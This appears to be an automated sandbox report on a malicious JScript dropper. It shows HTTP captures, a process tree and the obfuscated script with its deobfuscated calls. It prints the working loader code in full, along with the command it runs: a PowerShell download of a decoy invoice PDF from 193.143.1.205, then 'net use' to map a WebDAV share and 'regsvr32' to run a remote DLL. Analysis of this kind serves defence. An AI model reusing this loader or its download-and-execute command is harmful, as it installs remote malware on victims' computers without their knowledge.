Jan 11, 2025 02:05:13.550862074 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 11, 2025 02:05:14.358266115 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 01:05:14 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 [TRUNCATED] Data Ascii: f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponent [TRUNCATED]
Jan 11, 2025 02:05:14.358283043 CET	224	IN	Data Raw: 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 20 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 02:05:14.358302116 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jan 11, 2025 02:05:14.358309984 CET	1236	IN	Data Raw: 85 a9 6f 3f 00 00 00 00 00 00 00 00 00 1b 34 75 8a c1 d4 ca 25 f4 d1 96 d0 79 06 bd 9d 3d 6e a2 c7 a0 8a ce 93 68 1a 11 a5 87 ee 9e a9 6f 42 00 00 00 00 00 00 00 00 00 1b 31 75 84 c1 d4 6a 4a 68 1a ed 74 19 f4 f1 66 f6 b8 8e 1e 37 8f a9 8a 56 f6 Data Ascii: o?4u%y=nhoB1ujJhtf7VOY;oE7uGv+j Tg~:{oEk6u~%f vA.q<pDtCtC'0`&K]%3h}
Jan 11, 2025 02:05:14.358315945 CET	1236	IN	Data Raw: ec a4 70 2c f4 e3 60 47 ae 3e 30 74 b0 23 f7 a4 d9 91 db 8d 85 7e 68 c7 42 df 76 db 71 df bc ba 78 fd f2 e2 f5 8b 8b 57 2f 9a ff 6c 7a e8 cb ae 87 a6 65 b9 fa e4 50 bb 29 f7 e6 69 b0 29 f7 b1 1b 0e 25 86 4e 6a ea 9b 13 00 00 c0 34 f8 62 09 00 00 Data Ascii: p,`G>0t#~hBvqxW/lzeP)i)%Nj4b/FcvQOt`{psBjK_~1DmM[9L/l4`U*;rfAnWB_)^oCeS1000C;i4b
Jan 11, 2025 02:05:14.358328104 CET	1236	IN	Data Raw: c2 96 7f bb 15 ed d4 b5 ad f8 d4 ad f1 fa 27 f9 4d b7 ff 84 00 40 a5 55 6e 65 f8 9c 7c 32 31 34 3c 30 54 c7 d0 eb 26 86 5e a6 18 7a 3a 8c a1 ef 5d 0c 7d de c7 d0 67 5d 09 0d 62 e8 eb 26 86 ee a5 18 ba 3f 8f a1 e7 26 86 de 3e dd df 35 31 f4 c1 c5 Data Ascii: 'M@Une\|214<0T&^z:]}g]b&?&>51PoN%,.[nmk-_BW?]\r}B`Qa8zs&711bC%21gm\|c#1t*SKvk>~
Jan 11, 2025 02:05:14.358340025 CET	659	IN	Data Raw: e8 33 b6 dc d3 b5 d0 db 7e a1 b7 5c 41 e1 9d 56 ff 82 ae f8 36 5b e8 45 0c 5f c7 f2 4b b9 e8 cb b7 c6 37 cf 12 d7 b0 99 7f 80 00 80 b5 c4 9d 10 9f 9b ba 03 43 1f d4 81 a1 29 86 5e 5e b4 31 f4 74 18 43 f7 9a 18 ba 37 8f a1 ed a6 dc 34 1c da cc 87 Data Ascii: 3~\AV6[E_K7C)^^1tC74Kh=nby~m0X].5rbXTtE/Q\reE_-zm=]_{E`TZ~F}i_Jnp}QqZ
Jan 11, 2025 02:05:14.358474970 CET	1236	IN	Data Raw: 3c 30 f4 21 1d 18 fa 74 7b db e4 c8 f6 c0 d0 26 86 9e 9f b5 31 f4 b8 8b a1 07 71 0c ed 87 43 ed e3 f2 8d da 91 db c4 d0 77 c3 18 7a 78 2b 31 f4 e2 bc 8f a1 d7 2a 86 de 13 43 27 34 f5 cd 09 00 00 60 1a 7c b1 04 00 d3 f2 b7 dc f0 fb f3 e1 77 e6 1f Data Ascii: <0!t{&1qCwzx+1*C'4`\|w5e+uztc"BI4T&D].N-zU>$ZY+<iFV;FKVMz\P^MD]_Xp/3qywlL_EbvK+}n
Jan 11, 2025 02:05:14.358488083 CET	1236	IN	Data Raw: 73 b3 72 a6 8a 9a 7a e2 83 a3 34 20 13 6d 73 95 4a 27 aa b0 f1 85 39 c6 2b c4 29 73 55 85 6a e6 63 b1 a9 66 8b 56 da 72 d7 33 af af be 3c 7f 85 be e8 e5 72 5e fd 44 a1 f9 1c a9 29 68 3e 63 5d 47 6a 7e 6c 40 7f a6 98 67 ac 10 8e 73 9f 0e 85 9f 07 Data Ascii: srz4 msJ'9+)sUjcfVr3<r^D)h>c]Gj~l@gs0o{'_M1w/bxvMoHfK0UZv]LmBARrq5/X{Cz~bhlhcC?cC?u0X-37X_[;~Ii/MzJ
Jan 11, 2025 02:05:14.358498096 CET	448	IN	Data Raw: 4d b9 1b 35 f5 cd 09 00 00 60 1a 7c b1 04 00 db e1 6f ad 3e 86 d6 94 d0 d1 93 25 6b ce b8 cc f5 50 2f ec 14 66 23 a8 29 a1 29 fd 48 06 4d 0d f4 d9 b3 67 bf ff fe fb 6f ad 5f 23 b3 bf ff 7b 6b f6 2b 4d 12 95 11 d1 b0 c5 98 24 aa 4f f7 f3 4f 97 89 Data Ascii: M5`\|o>%kP/f#))HMgo_#{k+M$OOzzsHa^r,*Y,,WUB5{i_}zqZKd/AX%a;6%4=]\?Vbm^M~gOIM_W;C3Uvj;,C:6<^
Jan 11, 2025 02:05:14.363460064 CET	1236	IN	Data Raw: 33 e1 eb 97 d0 96 4b a8 7e 83 f9 1f 09 30 64 38 ba 30 16 5d ff 66 cb 0d 36 9a 81 d0 d1 57 d3 bf a0 92 44 a5 cf ea a7 ae 90 ff 4c 12 0d 6f 2f 35 45 52 5e 4a 51 39 9b 59 58 10 5d 33 16 5d 38 56 55 9f 90 5b b3 0e 5a 9e 0a 62 28 80 2d 58 ad 96 60 87 Data Ascii: 3K~0d80]f6WDLo/5ER^JQ9YX]3]8VU[Zb(-X`480mzq~wbuC1T@7'il3}\|=8zhc}'Ie???32Uh}CjTy^CR

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49722	193.143.1.205	8888	6436	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 02:05:16.004784107 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 02:05:16.806126118 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 01:05:16 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	20:05:10
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\6515707756641447.js"
Imagebase:	0x7ff7a8940000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	20:05:10
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2298490184710.dll
Imagebase:	0x7ff710340000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	20:05:10
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	20:05:10
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff6e3d50000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	20:05:15
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff651090000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	20:05:15
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff710340000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	20:05:15
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff61a1a0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	20:05:16
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff70df30000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	20:05:16
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7403e0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	20:05:16
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2124 --field-trial-handle=1692,i,2389882996813932257,13310602110821749227,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff70df30000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function lzpqmrgpp() {	lzpqmrgpp() ➔ undefined
1	ecfjtaj = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var pqmmuotu = this[lzzavokt + yewvjhh + aowmc + husfku + nuhkpw + qvfckmwr + qilqugko + mdfzo] ( this[xppjza + gmmwt + pbkxi + aowmc + ubjgkkpdi + lzzavokt + mdfzo][lndlcp + aowmc + nuhkpw + yewvjhh + mdfzo + nuhkpw + dktmgcu + nuuqzgel + pualuxr + nuhkpw + pbkxi + mdfzo] ( xppjza + gmmwt + pbkxi + aowmc + ubjgkkpdi + lzzavokt + mdfzo + jkpav + gmmwt + xmfqrf + nuhkpw + khvbn + khvbn ) [dwhyao + nuhkpw + uhywphe + dwhyao + nuhkpw + yewvjhh + eiwzc] ( mmsxxfemb + endtnzzqp + zinzpzxhw + grqeg + vcfuf + lndlcp + klmpnxa + dwhyao + dwhyao + zinzpzxhw + scvekmqkt + hktpvcsut + vcfuf + klmpnxa + gmmwt + zinzpzxhw + dwhyao + cenrt + lndlcp + ofzjsfcgk + qilqugko + mdfzo + aowmc + ofzjsfcgk + khvbn + cdircjas + scwzjrunu + yewvjhh + qilqugko + nuhkpw + khvbn + cenrt + qvfckmwr + qilqugko + mdfzo + nuhkpw + aowmc + qilqugko + yewvjhh + mdfzo + ubjgkkpdi + ofzjsfcgk + qilqugko + yewvjhh + khvbn + cenrt + bekhdtby + ofzjsfcgk + pbkxi + yewvjhh + khvbn + nuhkpw ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( chnnzrntb = 0 ; chnnzrntb < ecfjtaj[khvbn + nuhkpw + qilqugko + uhywphe + mdfzo + xmfqrf] ; ++ chnnzrntb )
4	{
5	if ( pqmmuotu == ecfjtaj[chnnzrntb] )
6	{
7	pqmmuotu = true;
8	break ;
9	}
10	}
11	if ( pqmmuotu !== true )
12	this[xppjza + gmmwt + pbkxi + aowmc + ubjgkkpdi + lzzavokt + mdfzo][gnixwcsgu + sgvheamr + ubjgkkpdi + mdfzo] ( );
13	this[xppjza + gmmwt + pbkxi + aowmc + ubjgkkpdi + lzzavokt + mdfzo][lndlcp + aowmc + nuhkpw + yewvjhh + mdfzo + nuhkpw + dktmgcu + nuuqzgel + pualuxr + nuhkpw + pbkxi + mdfzo] ( xppjza + gmmwt + pbkxi + aowmc + ubjgkkpdi + lzzavokt + mdfzo + jkpav + gmmwt + xmfqrf + nuhkpw + khvbn + khvbn ) [aowmc + sgvheamr + qilqugko] ( pbkxi + ipyqi + eiwzc + cdircjas + zsxuk + pbkxi + cdircjas + lzzavokt + ofzjsfcgk + ftatzwdrk + nuhkpw + aowmc + husfku + xmfqrf + nuhkpw + khvbn + khvbn + jkpav + nuhkpw + bmlfvbvap + nuhkpw + cdircjas + zjeqiwl + lndlcp + ofzjsfcgk + ipyqi + ipyqi + yewvjhh + qilqugko + eiwzc + cdircjas + pmslvae + qvfckmwr + qilqugko + tufqby + ofzjsfcgk + ubixuh + nuhkpw + zjeqiwl + xppjza + nuhkpw + nuuqzgel + dwhyao + nuhkpw + xqwylrqto + sgvheamr + nuhkpw + husfku + mdfzo + cdircjas + zjeqiwl + dktmgcu + sgvheamr + mdfzo + bmntpxhcj + ubjgkkpdi + khvbn + nuhkpw + cdircjas + bpnhstcgg + mdfzo + nuhkpw + ipyqi + lzzavokt + bpnhstcgg + cenrt + ubjgkkpdi + qilqugko + tufqby + ofzjsfcgk + ubjgkkpdi + pbkxi + nuhkpw + jkpav + lzzavokt + eiwzc + rwmlt + cdircjas + xmfqrf + mdfzo + mdfzo + lzzavokt + krdrlhpd + zsxuk + zsxuk + jgtcgzwv + egkyevjyx + sfvacy + jkpav + jgtcgzwv + kqsaabh + sfvacy + jkpav + jgtcgzwv + jkpav + xowjkn + bjhkbbxr + xquqyj + zsxuk + ubjgkkpdi + qilqugko + tufqby + ofzjsfcgk + ubjgkkpdi + pbkxi + nuhkpw + jkpav + lzzavokt + xmfqrf + lzzavokt + pmslvae + wcxwghraq + wcxwghraq + husfku + mdfzo + yewvjhh + aowmc + mdfzo + cdircjas + bpnhstcgg + mdfzo + nuhkpw + ipyqi + lzzavokt + bpnhstcgg + cenrt + ubjgkkpdi + qilqugko + tufqby + ofzjsfcgk + ubjgkkpdi + pbkxi + nuhkpw + jkpav + lzzavokt + eiwzc + rwmlt + wcxwghraq + wcxwghraq + pbkxi + ipyqi + eiwzc + cdircjas + zsxuk + pbkxi + cdircjas + qilqugko + nuhkpw + mdfzo + cdircjas + sgvheamr + husfku + nuhkpw + cdircjas + cenrt + cenrt + jgtcgzwv + egkyevjyx + sfvacy + jkpav + jgtcgzwv + kqsaabh + sfvacy + jkpav + jgtcgzwv + jkpav + xowjkn + bjhkbbxr + xquqyj + ckokfiyd + njqwimup + njqwimup + njqwimup + njqwimup + cenrt + eiwzc + yewvjhh + tufqby + ftatzwdrk + ftatzwdrk + ftatzwdrk + aowmc + ofzjsfcgk + ofzjsfcgk + mdfzo + cenrt + wcxwghraq + wcxwghraq + pbkxi + ipyqi + eiwzc + cdircjas + zsxuk + pbkxi + cdircjas + aowmc + nuhkpw + uhywphe + husfku + tufqby + aowmc + sfvacy + xowjkn + cdircjas + zsxuk + husfku + cdircjas + cenrt + cenrt + jgtcgzwv + egkyevjyx + sfvacy + jkpav + jgtcgzwv + kqsaabh + sfvacy + jkpav + jgtcgzwv + jkpav + xowjkn + bjhkbbxr + xquqyj + ckokfiyd + njqwimup + njqwimup + njqwimup + njqwimup + cenrt + eiwzc + yewvjhh + tufqby + ftatzwdrk + ftatzwdrk + ftatzwdrk + aowmc + ofzjsfcgk + ofzjsfcgk + mdfzo + cenrt + xowjkn + xowjkn + egkyevjyx + njqwimup + kqsaabh + egkyevjyx + bjhkbbxr + jgtcgzwv + njqwimup + kqsaabh + flihqznws + jgtcgzwv + bjhkbbxr + jkpav + eiwzc + khvbn + khvbn, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2298490184710.dll",0,false) ➔ 0
14	}
15	krdrlhpd = "V";
16	krdrlhpd = "X";
17	krdrlhpd = "u";
18	krdrlhpd = "P";
19	krdrlhpd = ":";
20	bekhdtby = "t";
21	bekhdtby = "o";
22	bekhdtby = "h";
23	bekhdtby = "k";
24	bekhdtby = "W";
25	bekhdtby = "L";
26	bekhdtby = "E";
27	bekhdtby = "L";
28	xquqyj = "B";
29	xquqyj = "Z";
30	xquqyj = "N";
31	xquqyj = "Z";
32	xquqyj = "A";
33	xquqyj = "5";
34	qilqugko = "I";
35	qilqugko = "N";
36	qilqugko = "h";
37	qilqugko = "O";
38	qilqugko = "W";
39	qilqugko = "N";
40	qilqugko = "j";
41	qilqugko = "a";
42	qilqugko = "n";
43	ipyqi = "N";
44	ipyqi = "v";
45	ipyqi = "c";
46	ipyqi = "F";
47	ipyqi = "J";
48	ipyqi = "k";
49	ipyqi = "w";
50	ipyqi = "f";
51	ipyqi = "C";
52	ipyqi = "o";
53	ipyqi = "A";
54	ipyqi = "I";
55	ipyqi = "c";
56	ipyqi = "M";
57	ipyqi = "R";
58	ipyqi = "J";
59	ipyqi = "U";
60	ipyqi = "A";
61	ipyqi = "K";
62	ipyqi = "J";
63	ipyqi = "s";
64	ipyqi = "m";
65	xppjza = "W";
66	xppjza = "M";
67	xppjza = "Q";
68	xppjza = "o";
69	xppjza = "Y";
70	xppjza = "Q";
71	xppjza = "x";
72	xppjza = "v";
73	xppjza = "s";
74	xppjza = "E";
75	xppjza = "V";
76	xppjza = "J";
77	xppjza = "W";
78	jkpav = "P";
79	jkpav = "G";
80	jkpav = "w";
81	jkpav = "n";
82	jkpav = "c";
83	jkpav = "J";
84	jkpav = "m";
85	jkpav = "v";
86	jkpav = "D";
87	jkpav = "X";
88	jkpav = "k";
89	jkpav = "S";
90	jkpav = "i";
91	jkpav = "o";
92	jkpav = ".";
93	mdfzo = "o";
94	mdfzo = "j";
95	mdfzo = "R";
96	mdfzo = "V";
97	mdfzo = "c";
98	mdfzo = "C";
99	mdfzo = "j";
100	mdfzo = "h";
101	mdfzo = "S";
102	mdfzo = "P";
103	mdfzo = "B";
104	mdfzo = "b";
105	mdfzo = "y";
106	mdfzo = "c";
107	mdfzo = "u";
108	mdfzo = "t";
109	pualuxr = "S";
110	pualuxr = "j";
111	pualuxr = "X";
112	pualuxr = "d";
113	pualuxr = "X";
114	pualuxr = "P";
115	pualuxr = "r";
116	pualuxr = "M";
117	pualuxr = "n";
118	pualuxr = "e";
119	pualuxr = "O";
120	pualuxr = "Y";
121	pualuxr = "O";
122	pualuxr = "g";
123	pualuxr = "g";
124	pualuxr = "l";
125	pualuxr = "j";
126	pualuxr = "n";
127	pualuxr = "q";
128	pualuxr = "c";
129	pualuxr = "i";
130	pualuxr = "o";
131	pualuxr = "X";
132	pualuxr = "x";
133	pualuxr = "F";
134	pualuxr = "H";
135	pualuxr = "d";
136	pualuxr = "f";
137	pualuxr = "z";
138	pualuxr = "Y";
139	pualuxr = "l";
140	pualuxr = "R";
141	pualuxr = "p";
142	pualuxr = "E";
143	pualuxr = "j";
144	husfku = "H";
145	husfku = "q";
146	husfku = "n";
147	husfku = "q";
148	husfku = "h";
149	husfku = "N";
150	husfku = "L";
151	husfku = "a";
152	husfku = "o";
153	husfku = "n";
154	husfku = "X";
155	husfku = "Y";
156	husfku = "g";
157	husfku = "D";
158	husfku = "B";
159	husfku = "J";
160	husfku = "i";
161	husfku = "T";
162	husfku = "k";
163	husfku = "B";
164	husfku = "M";
165	husfku = "J";
166	husfku = "F";
167	husfku = "p";
168	husfku = "P";
169	husfku = "v";
170	husfku = "E";
171	husfku = "Z";
172	husfku = "y";
173	husfku = "s";
174	yewvjhh = "y";
175	yewvjhh = "y";
176	yewvjhh = "q";
177	yewvjhh = "s";
178	yewvjhh = "w";
179	yewvjhh = "B";
180	yewvjhh = "H";
181	yewvjhh = "m";
182	yewvjhh = "W";
183	yewvjhh = "b";
184	yewvjhh = "p";
185	yewvjhh = "Q";
186	yewvjhh = "U";
187	yewvjhh = "b";
188	yewvjhh = "Y";
189	yewvjhh = "I";
190	yewvjhh = "r";
191	yewvjhh = "Y";
192	yewvjhh = "X";
193	yewvjhh = "u";
194	yewvjhh = "N";
195	yewvjhh = "h";
196	yewvjhh = "b";
197	yewvjhh = "I";
198	yewvjhh = "M";
199	yewvjhh = "x";
200	yewvjhh = "M";
201	yewvjhh = "n";
202	yewvjhh = "X";
203	yewvjhh = "r";
204	yewvjhh = "a";
205	zsxuk = "V";
206	zsxuk = "z";
207	zsxuk = "v";
208	zsxuk = "J";
209	zsxuk = "Q";
210	zsxuk = "N";
211	zsxuk = "d";
212	zsxuk = "y";
213	zsxuk = "H";
214	zsxuk = "T";
215	zsxuk = "i";
216	zsxuk = "T";
217	zsxuk = "a";
218	zsxuk = "J";
219	zsxuk = "B";
220	zsxuk = "q";
221	zsxuk = "V";
222	zsxuk = "t";
223	zsxuk = "Z";
224	zsxuk = "M";
225	zsxuk = "H";
226	zsxuk = "J";
227	zsxuk = "W";
228	zsxuk = "/";
229	xowjkn = "K";
230	xowjkn = "L";
231	xowjkn = "l";
232	xowjkn = "u";
233	xowjkn = "v";
234	xowjkn = "P";
235	xowjkn = "L";
236	xowjkn = "Z";
237	xowjkn = "v";
238	xowjkn = "R";
239	xowjkn = "2";
240	bpnhstcgg = "c";
241	bpnhstcgg = "q";
242	bpnhstcgg = "i";
243	bpnhstcgg = "G";
244	bpnhstcgg = "%";
245	khvbn = "c";
246	khvbn = "z";
247	khvbn = "v";
248	khvbn = "k";
249	khvbn = "P";
250	khvbn = "H";
251	khvbn = "I";
252	khvbn = "k";
253	khvbn = "s";
254	khvbn = "E";
255	khvbn = "M";
256	khvbn = "W";
257	khvbn = "s";
258	khvbn = "b";
259	khvbn = "t";
260	khvbn = "e";
261	khvbn = "k";
262	khvbn = "O";
263	khvbn = "U";
264	khvbn = "D";
265	khvbn = "k";
266	khvbn = "A";
267	khvbn = "X";
268	khvbn = "T";
269	khvbn = "z";
270	khvbn = "O";
271	khvbn = "h";
272	khvbn = "l";
273	khvbn = "m";
274	khvbn = "S";
275	khvbn = "d";
276	khvbn = "t";
277	khvbn = "O";
278	khvbn = "e";
279	khvbn = "X";
280	khvbn = "Z";
281	khvbn = "i";
282	khvbn = "G";
283	khvbn = "z";
284	khvbn = "P";
285	khvbn = "C";
286	khvbn = "c";
287	khvbn = "f";
288	khvbn = "s";
289	khvbn = "l";
290	endtnzzqp = "H";
291	endtnzzqp = "z";
292	endtnzzqp = "q";
293	endtnzzqp = "a";
294	endtnzzqp = "t";
295	endtnzzqp = "z";
296	endtnzzqp = "D";
297	endtnzzqp = "m";
298	endtnzzqp = "l";
299	endtnzzqp = "C";
300	endtnzzqp = "S";
301	endtnzzqp = "a";
302	endtnzzqp = "w";
303	endtnzzqp = "x";
304	endtnzzqp = "K";
305	vcfuf = "x";
306	vcfuf = "H";
307	vcfuf = "t";
308	vcfuf = "T";
309	vcfuf = "B";
310	vcfuf = "U";
311	vcfuf = "v";
312	vcfuf = "_";
313	aowmc = "V";
314	aowmc = "h";
315	aowmc = "N";
316	aowmc = "G";
317	aowmc = "V";
318	aowmc = "X";
319	aowmc = "E";
320	aowmc = "s";
321	aowmc = "r";
322	uhywphe = "a";
